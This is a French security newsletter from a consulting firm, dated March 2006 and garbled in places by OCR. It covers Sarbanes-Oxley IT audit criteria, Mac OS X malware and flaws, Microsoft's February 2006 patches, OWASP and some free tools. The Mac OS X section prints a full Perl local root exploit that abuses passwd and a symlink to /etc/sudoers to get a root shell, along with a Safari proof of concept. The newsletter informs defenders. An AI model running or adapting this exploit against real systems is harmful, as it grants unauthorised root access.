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L’actualit¢ de la sécurité est
riche. Il devient méme impossible de
ne pas multiplier les sources d’in-
formation et les interlocuteurs pour
essayer d’y voir clair. Quant a penser
que certains acteurs ont tout a ga-
gner a entretenir cette confusion...

Depuis 2002, nous avons délibé-
rément choist d’étre un cabinet diffé-
rent, animé par une volonté mar-
quée de délivrer un service de qua-
lité, réactif, fiable et surtout transpa-
rent.

Notre réactivité nous a d’ailleurs
permis de gagner la confiance de
nos clients, en nous concentrant sur
la résolution de leurs problemes,
plutdt que sur les détails administra-
tifs qui agacent.

Plusieurs clients nous ont de-
mandé de compléter notre service de
veille sécurité quotidienne, par une
synthese au sein de laquelle nous
pourrions aborder ce qui nous parait
essentiel.

Vous retrouverez donc chaque
mois les rubriques suivantes : Point
Juridique, Nouvelles Tendances,
Attaques et Alertes Majeures, Evo-
lutions Normes et Standards, Outils

libres.

Pour le premier numéro de
notre newsletter, nous avons décidé
d’aborder la loi Sarbanes-Oxley
avez-vous déja essayé de trouver sur
Internet un modele de questionnaire
Sarbanes-Oxley ? trop peu d’infor-

mations sont disponibles...

Jespére que cette newsletter
vous apportera les réponses aux
questions que vous vous posez. Bien
entendu, je vous invite a nous faire
part de vos commentaires, et des
éventuels points que vous souhaite-
riez voir abordés, afin de combler
vos attentes.

Je profite de cette tribune pour
remercier mon équipe de consultants
pour leur motivation, leur expertise
et la rigueur dont ils font preuve
quotidiennement pour vous satis-

faire.

A bientot.

Marc Behar
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1. POINT JURIDI-
QUE:

Cette loi fut votée en juillet 2002 par le
Congrés Américain puis ratifiée par le
président Bush le 30 du méme mois.
L'application de cette loi entre en
vigueur pour toutes les entreprises
américaines cotées au NASDAQ ainsi
que leurs filiales a I'étranger.

Chacune d’entre elle doit certifier leurs
comptes auprés de la

l'orga-
nisme de régulation des marchés
financiers US.

Plusieurs points sont étudiés et doivent
faire I'objet de tests précis. Une dizaine
de catégories sont prises en compte.

La gestion des mots de passe
Un audit concerne plu-
sieurs critéres :

+Le niveau de sécurité des mots de
passe.

4+ La vérification du changement des
mots de passe tous les six mois.

+L’¢tude des notes délivrées par le
responsable sécurité aux employés
sur la politique des choix de mots
de passe.

Un exemple concret de test consiste-
rait a évaluer la sécurité des mots de
passe de 30 utilisateurs, et a identi-
fier la proportion de mots de passe
faibles.

Etude de réscau informatique

La seconde partie con-
cerne le réseau informati-
que. Plusieurs points sont
a étudier:

4+ Vérification de I’authentification
des acces VPN.

XMCO PARTNERS - CABINET DE CONSEIL EN SECURITE DES SYSTEMES D’INFORMATION

www.xmcopartners.com

—

4+ Utilisation des serveurs DHCP
avec réservation d’IP en fonction
de Padresse MAC afin d’interdire
Paccés aux machines étrangeres au
réseau.

4+ Protection du réseau interne par 2
niveaux de pare-feux.

+Controle et journalisation des
acces a Internet.

+Signature d’une charte de bon
usage d’Internet.

4+ Authentification des utilisateurs
pour accéder a Internet.

+Révocation des certificats lors du
départ des collaborateurs.

+FLiltrage des emails vis-a-vis des
menaces connues : virus, chevaux
de Troie, etc.

Gestion des antivirus et des correctifs
Effectuer un filtrage effi-
cace sur les serveurs de
mails afin d’éviter toute
propagation de vers et de
fichiers malicieux sur le
réseau internes.

4+ Analyse virale de tous les messages
qui transitent par le serveur SM'TP.

+un controle des mises a jour doit
étre effectué chaque mois par un
responsable informatique.
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Plan de reprise en cas de désastres
Cet aspect a pour objectif
d’évaluer les capacités de

~

Pentreprise a faire face a
un incident grave.

+Sauvegarde des serveurs princi-
paux.

4+ Externalisation des supports de
sauvegarde.

+Rédaction d'un document de
procédure de restauration pour
chaque serveur.

Applications ERP
La sécurité des ERPs

constitue un point clé de
la loi Sarbanes-Oxley.

4+ Controles stricts de l'acces : attri-
bution de droits aux utilisateurs
des différentes ressources.

4+ Utilisation de mots de passe longs
et une authentification établie
toutes les 15 minutes lorsque I'ap-
plication n’est pas utilisée.

4+ Accessibilité des données seule-
ment aux utilisateurs autorisés.
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Gestion des ordinateurs portables

Spécification d’une politique de sécurité
stricte pour les ordinateurs portables. Il
est nécessaire de prendre des mesures
précises afin d’éviter toute perte et vol
de données ou Pinfection du réseau par
des virus.

4+ Présence d’'un pare-feu personnel sur chaque ordina-
teur portable.

4+ Activation par défaut de 'exécution des mises a jour des
anti-virus, des logiciels divers et du systéme d’exploita-
tion.

Les sauvegardes
Des mesures de sauvegardes continues.

+Sauvegarde des serveurs et des postes sensibles.

+Spécification de la durée de rétention des sauvegardes
en fonction de chaque entreprise.

+Réalisation de tests de restauration tous les quatre a six
mois.

Journalisation & Audits

Mener des audits internes afin d’assurer
le bon fonctionnement des mesures de
sécurité prises par ’entreprise.

4+ Vérification de Pexistence des fichiers de logs des ser-
veurs mails, des navigateurs internet, des acces VPN...

+Tragabilit¢ des acces aux applications financieres et
ressources humaines.

+Sauvegardes des emails conservées durant 1 mois mi-
nimum (destinataire, ’envoyeur, le sujet, la date et
I’heure et 'IP).

Vulnérabilités

Réaliser des tests de vulnérabilités cha-
que mois sur les serveurs critiques, as-
sortis. de rapports écrits par les respon-
sables de la sécurité.

Audit Results
& Action Plan

Sarbanes-Oxley

Financial and Accounting Disclosure Information

Sécurité physique

Réglementer de maniére stricte P’acceés
aux batiments et aux ressources infor-
matiques.

4+ Controle et restriction des acces aux différentes zones
de Pentreprise via un systéme de controle.

+Passage obligatoire des visiteurs par 'accueil pour étre
enregistrés.

4+ Protection des salles des serveurs informatiques par un
lecteur de badges.

Sécurité des batiments
Protéger les batiments contre les incen-
dies et sécuriser les flux afin d’éviter les
vols de données.

4+ Affichage du plans d’évacuation a chaque étage.

+Réalisation d’un test d’évacuation durgence une fois
par an.

+Présence d’alarmes incendies ainsi que de portes anti-
feu dans chaque batiment.

XMCO PARTNERS - CABINET DE CONSEIL EN SECURITE DES SYSTEMES D’INFORMATION 3

www.Xmcopartners.com




LA SECURITE INFORMATIQUE MARS 2006

MAC OS X EST VULNERABLE

Elévation de privileges en local
Erreur de conception de [Putili-
taire “passwd”

Un programme malicieux visant la plate-forme Mac OS
X a été publié le 28 Février 2006. Ce programme permet
a un utilisateur local d’exécuter des commandes arbitrai-
res dans le contexte du super-utilisateur “root” sur un
systeme vulnérable.

Le probleme résulte d’une erreur de conception de I'uti-
litaire “passwd” du systeme d’Apple. En effet, il est possi-
ble de passer au programme incriminé un fichier aléatoire
en parametre sans que celui ci ne soit validé.

Un utilisateur local malveillant devient donc en mesure
d'élever ses priviléeges en passant un fichier “passwd” judi-
cieusement congu au programme impacte.

Le programme exposé ci-contre permet d'effectuer faci-
lement ces manipulations frauduleuses.

#!/usr/bin/perl
#

use POSIX;

$fake passwd="/tmp/xpasswd.$$";
$passwd_pid=($$ + 1);
$passwd_tempfile="/tmp/.pwtmp.$passwd_pid";
$sudoers="/etc/sudoers";

sub pexit{print("[!] @_.\n");exit(1);}

print("[*] /usr/bin/passwd[OSX]: local root exploit.\n");
print("[*] by: vade79/v9 vO\@fakehalo.us (fakehalo/real-
halo)\n\n");

unlink($fake_passwd);

print("[*] making fake password file. ($fake_passwd)\n");
open(FP,">$fake passwd")||pexit("couldn't open/write to
$fake_passwd");

# uid must equal the current user.

print(FP "ALL ALL=(ALL) ALL #:" . getuid . ":" . getuid .
getuid . ":" . getuid . "::/:/An");

close(FP);

print("[*] sym-linking $sudoers -> $passwd_tempfile.\n");
symlink($sudoers,$passwd_tempfile)||pexit("couldn't
link files.");

print("[*] running /usr/bin/passwd on $fake_passwd.\n");
print("[*] (use ANY password longer than 4 charac-
ters)\n\n");

system("/usr/bin/passwd -i file -1 $fake_passwd \"ALL
ALL=(ALL) ALL #\"");

print("\n[*] running \"sudo sh\", use your REAL (user)
password.\n\n");

system("/usr/bin/sudo sh");

exit(0);

exploit MAC OS X - passwd
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Exécution a distance de codes arbitraires

Firefox ne gére pas correctement
les pages HTML contenant un pa-
rametre “Content File” excessi-
vement long.

Un programme malicieux qui exploite une faille du pro-
duit Firefox de Mozilla a été rendu public. Un attaquant
hébergeant des pages HI'ML malicieuses, générées par
cet exploit, est en mesure d'exécuter des commandes ar-
bitraires sur un systeme vulnérable.

En effet, le parameétre “Content File” de ces pages
HTML correspond a une chaine de caracteres excessive-
ment longue.

Si un utilisateur d'une machine vulnérable tente de visua-
liser une de ces pages, un débordement de pile pourrait
avoir lieu. Il donnerait ainsi la possibilité d'exécuter des
commandes arbitraires.

Exécution a distance de codes arbitraires
Safari exécute automatiquement
les fichiers contenus dans les ar-
chives ZIP téléchargées.

Un programme malicieux qui exploite une faille de sécu-
rité du systeme d'exploitation Mac OS X a été publié.
Cette preuve de concept permet a un attaquant distant
d'exécuter des scripts shell sur un systtme Mac OS X
vulnérable de maniére automatique.

Le probléme résulte d'une faille de conception du navi-
gateur Internet Safari. En effet, le produit de Apple dé-
compresse automatiquement les archives “zip” et lance le
programme correspondant au fichier décompressé sans
demander de confirmation a I'utilisateur. Dans le cas ou le
fichier décompressé est un script shell, celui-ci est exécuté
automatiquement dans un terminal avec les droits de
I'utilisateur abusé.

Un attaquant distant peut inciter une victime a téléchar-
ger une archive contenant un script shell judicieusement
forgé afin d'exécuter automatiquement des commandes

arbitraire sur un systéme vulnérable.

Le code de cette preuve de concept est le suivant :

# /bin/bash

while true; do
echo "Hallo Welt!"
done

exploit MAC OS X - Safari
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Premier virus pour la plate-forme Mac OS X
Publication d’un ver se propa-
geant a ’aide d’une faille du pro-
duit iChat.

Le premier virus qui vise la plate-forme Mac OS X vient
d'étre identifié. Ce programme est une preuve de concept
et n’effectue aucune action malveillante.

Ce code se propage de maniere autonome via le réseau de
messagerie instantanée iChat. Apres avoir infecté une
machine, le ver s’envoie a toutes les listes d’utilisateurs

présentes sur la machine.

Ce ver est également diffusé par le biais d’emails propo-
sant les toutes premicres captures d’écran de la nouvelle
mouture d’ Apple Mac OS X Leopard.

Notons que si les liens malicieux proposés, dans les fené-
tres de discussion iChat ou dans les emails malveillants, ne
sont pas suivis aucune infection n’aura licu.

De plus, ce programme bien qu’inoffensif prouve que des
vers et virus pour Mac OS X, peuvent étre développés.

Second virus pour Mac OS X

Programme malicieux qui exploite
une faille de la gestion des con-
nexions Bluetooth.

Suite a la publication du premier virus visant la plate-
forme Mac OS X, “OSX/Leap.A’, un second virus
“OSX/Inqtana.A” a été détecté sur Internet.

Alors que le premier virus se diffusait automatiquement
sur les réseaux de messagerie instantanée aim et les emails
malicieux, le second a choisit les ports Bluetooth comme
vecteur de diffusion.

Ce second virus ne semble pas offensif, mais ouvre défini-
tivement la voie du développement de code malicieux
pour la plate-forme MacOS X jusqu'a lors inexplorée.
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La sécurité du systeme d’exploitation Mac OS X remis en
question

Mac OS X n’est pas imperméable
aux attaques des pirates infor-
matiques

En effet, la découverte de failles et de virus en tout genre
remet en question la sécurité¢ de Mac OS X. Ce systéme a
longtemps été considéré a tort par ses utilisateurs comme
invincible et imperméable a toute attaque informatique.
La robustesse apparente de ce systeme semble étre liée au
fait que celui-ci n’était que tres peu répandu. En effet, les
pirates informatiques sont principalement motivés par
Pappat du gain et jusqu’a ce jour la communauté d’utili-
sateur Mac OS X ne représentait pas une cible suffisam-
ment importante. Aujourd’hui, la réalité est tout autre.
Un engouement grandissant pour ce systeme le place
dans la catégorie des cibles économiquement viables.

Apres les quelques programmes malveillants pionniers qui
ont ouvert la voie aux pirates, la publication, de nouvelles
vulnérabilités ainsi que de nouveaux exploits Mac OS X,
est devenue quasi quotidienne. I’année 2006 sera sans
doute T'année d’exploitation du systtme d’Apple. Les
regles d’usage distillées aupres des utilisateurs de systemes
exposés depuis plus longtemps aux assauts des pirates
devront également étre suivies par les utilisateurs de sys-
temes Macintosh. En effet, sous prétexte qu’il n’existait
pas de virus ou exploit visant les plateformes Apple, les
utilisateurs de ces systemes boudaient quelque peu les
regles qui restent plus que jamais d’actualité a savoir :
+Mise a jour réguliere du systeme d’exploitation
+Mise a jour réguliére du logiciel antivirus
4+ Ne pas exécuter de programmes dont la provenance
est douteuse
4+ Ne pas ouvrir d’email d’expéditeur inconnu
+Ne pas faire confiance a un site Internet d’origine
douteuse

Un systéme n’est jamais totalement str, tout OS possede
des failles de sécurité. L’exploitation de celles-ci doit étre
limitée au maximum par la mise en pratique de bonne
regles d’utilisation des systemes d’information.

Apres, tous les échos séverement relayés par la presse, les
aficionados ne doivent pas cédés a la psychose. En effet,
les développeurs d’Apple ont toujours répondu efficace-
ment et rapidement aux vulnérabilités découvertes. En
comparaison a Microsoft qui publie de nouveaux correc-
tifs chaque second mardi du mois, ce qui laisse quelques
jours aux pirates pour tenter d’exploiter ces failles, Apple
se distingue par sa réactivité.

Le succes du systeme d’exploitation se devait de passer
par cette période critiile qui, on l'espere, ne nuira pas a

son image de marque

XMCO PARTNERS - CABINET DE CONSEIL EN SECURITE DES SYSTEMES D’INFORMATION 6

www.Xmcopartners.com




LA SECURITE INFORMATIQUE

TOP 5 DU MOIS DE FEVRIER

Microsoft a publié 7 correctifs le 14 Février 2006,
parmi ceux-ci nous pouvions identifier deux bulletins
critiques et 5 importants. Les 3 failles les plus critiques
concernaient les composants Internet Explorer et Win-
dows Media Player.

MS06-005
Exécution de code arbitraire avec
Windows Media Player

La premicre faille critique concerne le logiciel Windows
Media Player et est corrigée avec I'application du correctif

MS06-005.

Microsoft corrige une faille de sécurité de son lecteur
multimédia Windows Media Player. En effet, le lecteur
multimédia de Microsoft souffrait d'un débordement de
tas survenant lors de la lecture de certains fichiers image
«.bmp » malformés. Cette erreur d’'implémentation pou-
vait étre exploitée par des attaquants distants afin d’exé-
cuter des commandes arbitraires sur un systeme vulnéra-

ble.

Pour cela, le pirate devait, au préalable, contrefaire un
fichier image « .bmp » en déclarant une taille de fichier
nulle. Si la victime tentait d’ouvrir le fichier malicieux a
I'aide de son lecteur Windows Media Player vulnérable ce
dernier allouerait un tampon mémoire de taille «0» et
tenterait de copier le fichier dans ce tampon mémoire
causant ainst un débordement de tas.

Ce débordement de tas permet a l'attaquant d’exécuter le
code malicieux embarqué au sein du fichier BMP.

MARS 2006

Les vecteurs d’exploitation de cette faille de sécurité sont
nombreux. ’attaquant peut créer un fichier « .asx » et
soumettre a la victime I’'URL qui pointe vers ce fichier via
un email malveillant. II peut également envoyer directe-
ment le fichier « .bmp » malformé en picce jointe d’un
email malicieux et inciter la victime a 'ouvrir avec WMP.

L'utilisation d’une page HTML contenant des ActiveX
malicieux est également envisageable et enfin en soumet-
tant a la victime un skin contrefait pour Windows Media
Player.

Dans tous les cas, I'intervention de lutilisateur est indis-
pensable et l'attaquant devra posséder un serveur idoine

(SMTP, HTTP, FTP etc...).

Un programme malveillant est sorti quelques heures apres
la publication du correctif.

Le code de cet exploit (voir page suivante) provoque un
débordement de tampon et pourrait étre complété afin de
permettre Pexécution de code arbitraire (installation de
troyens, virus...)
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exploit MS06-005

MS06-006

Exécution de code arbitraire a
distance avec des balises EMBED
malformées.

Microsoft a corrigé une vulnérabilité qui permettait a un
attaquant distant d’exécuter des commandes arbitraires
sur un systeme vulnérable, voir de prendre le controle
total de la machine cible.

Le probléme résulte d’une mauvaise gestion de balises
EMBED du plugin Windows Media Player. Les tags EM-
BED sont des balises HIML qui permettent d’inclure des
plug-ins et des lecteurs dans les pages web.

La vulnérabilité exploitée se manifeste lorsqu’un élément
« embed src » excessivement long est inséré dans une page
HTML malicieuse. Lors du traitement de cette balise par
le plugin Windows Media Player, une erreur de type dé-
bordement de tampon se produit.

L’attaquant peut ainsi exécuter du code a distance lorsque
la victime visite le site web pirate.

Seuls les navigateurs autres qu’lnternet Explorer sont
affectés par cette vulnérabilit¢ (Firefox, Opera,
Netscape...). Il faut donc que la victime utilise un de ces
navigateurs et que Windows Media Player soit installé sur
la machine cible.

Il est important de noter que les conséquences de atta-
que dépendent des droits de la victime.

Le pirate pourrait prendre le controle total de la machine
vulnérable si I'utilisateur est authentifié en tant qu’admi-
nistrateur.

De plus, I'intervention d’un utilisateur est indispensable.
Effectivement, I'utilisateur ciblé ne risque rien tant qu’il
n’a pas visité le site web pirate.

Ces programmes exploitent la faille MS06-006 corrigée
récemment par Microsoft. Un utilisateur distant est en
mesure d'utiliser ces programmes afin d'exécuter des
commandes arbitraires sur un systtme qui demeure non
corrige.
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Le premier programme se présente sous forme d'une page
HTML contenant des balises <EMBED> judicieusement
malformées. Ce programme a été testé avec succes sur
une machine Windows XP SP2 implémentant Windows
Media Player 10 et Firefox 1.5.0.1. Cet exploit permet de

se loguer en local en tant qu’administrateur avec le nom
d’utilisateur « wmpOwn3d » et le mode de passe « pass-
word ».

Vous trouverez le code de cette page a la fin de cette
description.

Le second programme est un module du produit Metas-
ploit. II permet exploiter la faille sur des machines vulné-
rables implémentant la version 9 du produit incrimine.

exploit MS06-006
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MS06-004
Correctif cumulatif critique pour
Internet Explorer sur Windows
2000.

La seconde faille critique de Microsoft pour le mois de
février 2006 est un correctif cumulatif pour Internet Ex-
plorer, c'est a dire que ce correctif corrige également les
failles publiées depuis le MS04-004 et le MS04-038.

Ce correctif cible uniquement les versions 5.1 d'Internet
Explorer sur les machines Windows 2000 SP4 et corrige
une nouvelle faille liée aux fichiers image .wmf au sein
desquels il est possible de cacher un programme mali-
cleux.

Le probleme est di a la gestion des images WMF (Win-
dows Metafile). Lors de I’exécution de fichiers malformés,
Internet Explorer peut corrompre la mémoire systeme ce
qui peut étre alors exploité par un attaquant afin d’exé-
cuter du code sur le poste victime.

Pour pouvoir réaliser une telle attaque, l'utilisateur mal-
intentionné doit inciter un utilisateur a visiter un site web
malicieux afin de lancer ’exécution d’un fichier MF mal-
formé.

Il peut également envoyer ce fichier par picce jointe dans
un courriel.

Un point important est a préciser : le fait de filtrer les
fichiers comportant Pextension «.wmf» ne suffit pas.
Windows ne détermine pas le type de fichier en fonction
de son extension, il reconnait le type grace au magic-
number du fichier.

De plus, 'intervention d’un utilisateur est indispensable.

Actuellement, aucun programme malveillant qui exploite
cette vulnérabilité n’est disponible sur Internet.

Plusicurs régressions fonctionnelles sont a prévoir. Ces
derniéres sont dues au fait que le correctif ajoute les an-
ciens MS04-004 et MS04-038 qui contenaient lesdites

régressions :

KB884487 [1] : Lecteur "chapitre par chapitre" impossi-
ble avec le DVD Haute-Définition et Windows Media
P 1 a y e r .
KB909889 [2] : Certains controles ActiveX peuvent ne
pas se charger correctement.
KB896688 [3] : Régression due a I'ajout de MS05-052.
Certains ActiveX "maison" peuvent ne plus se charger.
Pour corriger cela, il faut ajouter le site dans les sites de
confiance et autoriser les ActiveX non signés.

Aucun exploit n’a été¢ publié et cette vulnérabilité malgré
le niveau élevé défini par I’éditeur ne cible qu’un étroit
périmetre. L'installation de la version 6 d’Internet Explo-
rer résout le probléeme.

Erreur de conception de Safari
Exécution automatique de script
shell sur les systemes Mac OS X.

Un exploit paru le 21 février 2006 permettait a un atta-
quant distant d'exécuter des scripts Shell sur un systéme
Mac OS X vulnérable de manié¢re automatique.

Le probléme résulte d'une faille de conception du navi-
gateur Internet Safari. En effet, le produit d’Apple dé-
compresse automatiquement les archives zip et lance le
programme correspondant au fichier décompressé. Dans
le cas ou le fichier décompressé est un script Shell celui-ci
est exécuté automatiquement dans un terminal.

Un attaquant distant peut inciter une victime a téléchar-
ger une archive contenant un script Shell judicieusement
forgé afin d'exécuter automatiquement des commandes
arbitraires sur un systéme vulnérable.

En d’autres termes, le pirate va créer un script d’extension
«.sh », contenant le code malicieux, qui sera exécuté sur
la machine cible.

La preuve de concept utilise une simple boucle qui affiche
indéfiniment une chaine de caracteres. La capture d’écran
que vous trouverez a la fin de cette description corres-
pond a l'utilisation quelque peu modifiée de la preuve de
concept et permet de lancer la calculatrice. Vous pouvez
facilement imaginer les possibilités d’utilisation de cet
exploit.

while true; do
echo "Hallo Welt!"
done

MAC OS X - preuve de concept Safari

Ce script Shell sera renommé en un type exécutable di-
rectement avec Safari (fichier vidéo par exemple) et inté-
grer dans une archive d’extension « .zip ».

Le pirate va inciter sa victime a visiter un lien comme
celui-ci :

http://wwwisitepirate.com/funny.mov.zip

Le navigateur va donc extraire directement le fichier
contenu dans ’archive car ’extension ne comporte a prio-
r1 aucune menace potentielle (« .mov »).

XMCO PARTNERS - CABINET DE CONSEIL EN SECURITE DES SYSTEMES D’INFORMATION 10
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Ce dernier ne reconnaitra pas le fichier (qui n’est pas réellement un fichier vidéo) et donc lancera 'exécution du script

Shell.

Secunia

Secunia monitors vulnerabilities in more than 8,000 products, e.g.:
Internet Explorer | Mozilla Firefox | Opera | View All Products

Home >> Mac 05 X Command Execution Vulnerability Test r -

+ About Advisories
# Secunia Research

Virus Information
irus Information
hronological List

Last 10 Virus Alerts
bout Virus Info

Mailing Lists
Secunia Advisories
eekly Summary
# Secunia Virus Alerts

kyser@Apollon:~/Desktop | 100x30 | ttyp3

[~k op)-
—(m .u\m]:' E

Introduction

Michael Lehn has discovered a vulnerd
exploited by malicious people to com

Please use the test below, to see an &
exploited, and also to determine whet

Test Case / Demonstration

Clicking the link below will start the te
"Calculator" application (default applic]

Y O leul
Start the test: 3 Calculette
Test Now - Left Click On This Link =

Extremely Crit

Result

Secunia-2.mov

You are vulnerable, if the "Calculator” application {default application on Mac ~ @dvisory regal
0S X} starts up after clicking the link. AEiE M OSI =
Fusie Hec 2y - 1
You are not vulnerable to this oarticular exoloit. if vou do not experience the | MC || M H — “ it
Ieléchargementss = — = —— | [ c “ 4 “ ” ” % ‘
5-02-10 -
it 500 N O
g and Dot ™ W . I O 9
Sabiites | 4 || 5 | & || + |
""" ENERER
pell-21 @
f of Conce 0 || 5 | =
seen releg
inth old InfEFRET
srer vulnerability.
ality rating

@sed to Extremely
tal.

1 téléchargement
%

In order to protect yourself, it is & very good idea to stay informed about the m
latest threats from vulnerabilities in the software you are using.

Clic sur un simple lien

Décompression du fichier

Exécution du code présent dans le fichier zip
Lancement de la calculatrice

L.
2

3.
4.

XMCO PARTNERS - CABINET DE CONSEIL EN SECURITE DES SYSTEMES D’INFORMATION
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OWASP

Open Web application Security
Project

L’ OWASP veut nor-
maliser le dévelop-
pement sécurisé
d’applications et ser-
vices WEB.

La sécurité¢ des applications se ba-
sent sur les normes ISO ainsi que
sur des projets lancés par des grou-
pes afin d’aider les développeurs et
les entreprises a sécuriser leur déve-
loppement logiciel.

Un exemple est FOWASP (Open
Web Application Security Project),
organisme dédié a rechercher et a
combattre les causes de I'insécurité
logicielle.

L’OWASP fait autorité parmi les
cabinets de conseil en sécurité in-
formatique.

Ce groupe, constitué de bénévoles
volontaires pour la plupart anglo-
phones, produit régulicrement des
documents open-source, des outils et
des standards sur la sécurité¢ des
applications web.

Des conférences, articles et forums
sont proposés et leur participation
est gratuite et ouverte a tous.

XMCO PARTNERS - CABINET DE CONSEIL EN SECURITE DES SYSTEMES D’INFORMATION
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De nombreux experts partagent
donc leur point de vue et leur expé-
rience afin de faire évoluer la sécu-
rité.

Sur le site web www.owasp.com de
nombreux « White Papers» sont
disponibles.

Des documents tel que “A guide to
building Secure Web Applications
and Web Services” permettent aux
développeurs de connaitre les bon-
nes méthodes de sécurisation des
applications. Ce guide publi¢ dans
plusieurs langues tend a devenir le
standard pour le développement
d’application web.

De nombreux sujets sont traités afin
de sensibiliser le lecteur avec des
exemples techniques.

Le Phishing, les services web, l'au-
thentification, les autorisations, la
gestion des sessions, la validation des
données, les injections de codes, la
cryptographie, la gestion des interfa-
ces administratives, les déborde-
ments de tampon sont entre autres
traités. Des explications techniques
aident a comprendre I'objet de ces
menaces et fournissent des solutions
concretes.

Tous les points nécessaires a la sécu-

risation  d’application web  sont
abordés et tendent a devenir une
référence dans le monde de la sécu-
rit¢ informatique.

OWASP

The Open Web Application Security Project
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Debian

Distribution Linux

Version actuelle version stable 3.1 (20 décembre 2005) nom de code Sarge version 3.1rl
Utilité B i B o B

Type Systéeme d’exploitation

Description Debian est un systeme d’exploitation trés répandu dans le monde UNIX.

Cette distribution GNU/Linux fut lancée en 1993 avec le soutien de la Iree
Software Foundation. Disponible pour onze architectures différentes (m68k,
SPARC, Alpha, PowerPC, x86, 1A-64, PA-RISC, MIPS (big et little-en-
dian), ARM et S/390), Debian contient pres de 15 000 paquets et se distin-
gue des autres distributions par sa gestion de paquets APT au format .deb
ce qui permet une mise a jour rapide et pratique.

Trois versions sont disponibles 1. La version «stable » est la version en production. Son utilisation est
recommandée. Celle-ci reste figée, seuls les correctifs de sécurité sont mis
ajour.

2. Une version « testing » est la future version stable, elle contient les pa-
quets qui n’ont pas encore été acceptés dans la version stable. Les ver-
sions les plus récentes de chaque logiciel y sont installées.

3. La version « unstable » (Sid) est une version utilisée par les développeurs.

Capture d’écran
€ Applications Actions [ (Gl o|EEME | marzznov 23is ) @

Démarrer icl
fichier Ediion Affichage Raccourcis  Aide

€ [si

Applications préférences du Réglages du serveur

e

Réglages systéme

I [z

Corfeile

- ST

o

OEniEerncl 2.6.7-1-386

.
mpiled #1 Thu Jul 8
TSoMHz AMD Athlon
00 Bogomips Total

(0| | @ Démarrerici_[Ejerome@giopi/h

Téléchargement http://www.debian.org/CD/netinst/
Sécurité de Poutils Du fait des nombreux paquets proposés par la distribution, de nombreuses

vulnérabilités sont publi¢es chaque semaine.

L’avantage majeur de Debian par rapport aux autres distributions est sa
faculté a pouvoir télécharger les nouvelles versions des paquets avec une
simple commande : apt-get <nom du paquet>.
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Snort

Dispositif de détection d’intrusion

Version actuelle Snort 1.8.1

Utilité i i S d do

Type Utilitaire de détection d’intrusion (IDS)

Description Snort est un logiciel Open source de détection d’intrusion qui rivalise avec

les outils commerciaux.

Cet utilitaire permet d’analyser le trafic d’'un réseau en temps réel, de dé-
tecter de nombreux protocoles ainsi que les activités anormales (Stealth
scan, découverte d’empreintes, fragments, Déni de services, débordement
de tampon...). La recherche de contenu est également possible.

Snort se différencie par son format ouvert de ses signatures qui permet
d’intégrer de nouvelles regles propres a ses besoins. Des signatures sont donc
rapidement en ligne en fonction des menaces du moment ce qui permet une
réactivité indispensable pour la sécurité des infrastructures.

Capture d’écran

3 Snort IDS Console - Microsoft Intemet. Explorer HEE
He Edé Vew Favoites ook Help L elnl el =r =0 =) | 2
Address [] hitps /i o = =l

Sensors Top Sources Top Targets
Sigs  Alerts 1P Address Sigs Alerts || IP Address Sigs Alerts
Signatures. 62
TCP Alerts [View] 1,126
UDP Aleris Iview]: 1523 57%
ICMP Alerts [View]: 0 0%
Total Alerts [View]' 2,649 100%

Alert Overview by Signature

Earliest Alert 2004-12-29 06:01:03
Latest Alert 2004-12-29 15:5T:12

Signatures
PrioSignature #Sensors  # Alerts # Srcs  # Dests
WEB-MISC cross site scripting attempt [sid 1497 353 2
P2F Fastrack kazaa/morpheus traffic [sid 1699] 145 49
MS-SQL/SMB raiserror possible buffer overflow [sid 1388] "7
WEB-MISC NetObsen bypass attempt (sid 2441 110
MS-SQUSMBxp_cmdshell proaram execution [sid 681 33
WEB-MISC PCT Client Hello overflow attempt [sid 2515]
MS-SAL xp crdshell - program execution [sid 687]
MS-SAL/SMB xp req* reqistry access [sid 684
MS-SQU/SMB sp_password password change (5id 677)
MS-SQL/SMB sp_delete alert log file deletion [sid 678]
MS-SQL sp starl iob - program execution [sid 673]
MS-SQL sa login failed [sid 688

[&]Done [l

o
&

afalalalalm|ala]alalw|m

afalalalalale|a|ala

Sl

= N IS IEIAN ) N N P e
]

[ 5 [ temet

Téléchargement http://www.snort.org/dl/

Sécurité de Poutils Quelques failles ont été reportées, cependant, la réactivité des développeurs
est bonne.
La liste des vulnérabilités de Snort est disponible a I’adresse ci-dessous :

http://secunia.com/search/?search=snort
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MySQL.

SGBD

Version actuelle MySQL 5.0

Utilité o B L L

Type SGBD

Description Mysql est un serveur de base de données relationnelles SQL rapide qui

permet de gérer des bases de données de plusieurs téraoctets et offre d’ex-
cellentes performances en termes de montée en charges.

Robuste et Multi-Utilisateurs, cet outil profite de son importance au sein de
la communauté du logiciel libre pour s’enrichir et s’améliorer constamment.
Mysql fonctionne sur de nombreuses plateformes tels que AIX, BSDi,
FreeBSD, HP-UX, Linux, Mac OS X, NetBSD, OpenBSD, OS/2 Warp,
SGI Irix, Solaris, SunOS, SCO OpenServer, SCO UnixWare, Tru64 Unix,
Windows 95, 98, N'T, 2000 et XP.

Plusicurs outils graphiques peuvent étre utilisés avec MySQL :MySQL
Workbench, MySQL Query Browser, MySQL Administrator (voir capture),
MySQL Migration Toolkit.

Capture d’écran

Edit “iew Help

ﬂServer Information
}Serwce Control

9 = debian-sys-maint

# Startup Parameters b Login and additional information on the user

! Server Connections
fHeatn MySQL User:

User Information | Schema Privileges | Resource Limits

Login Information

| The user will have to enter this MySQL
username to connect to the MySQL server,

Jserver Logs | Type in & new password if you want

New Password: Aottototolotk
to set a new value.

gBackup

.;Restnre Backup Confirm Password: | #etteee Type the new password again to confirm.

ﬂREphcat\on Status Additional Information

ycatalogs

Full Name: The user's full name
Accounts
— Description: Additional description of the use
i | Email: The user's email address
4 debian-sys-maint | Contact Information: | Optional messager information
? @ localhost (tel., fax, ICQ etc)
& root

lcon: . lcon assigned to the user

Change...
ew User iscard Changes Apply chang
4 New U D d cf of Apply Cf

Téléchargement

http://www-fr.mysal.com/products/database/mysql/

Sécurité de Poutils

Quelques failles ont été reportées, cependant des mises a jour sont propo-
sées rapidement.
La liste des vulnérabilités MySQL est disponible a I’adresse ci-dessous :

http://secunia.com/search/?search=Mysal
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Apache

Serveur HTTP

Version actuelle Apache 2.2.0

Type Serveur HT'TP

Utilité de e e B U

Description Apache est le serveur web le plus répandu sur Internet, il rivalise directe-

ment son camarade IIS de Microsoft.

Ce projet open-source a pour but de proposer aux internautes un serveur
http fiable, sécurisé et efficace. Selon I’étude menée par « Netcraft Web Ser-
ver Survey », pres de 70% des sites Internet utilisent cet outil.

Développé pour le monde UNIX, Apache a rapidement été porté sous
Windows.

Capture d’écran

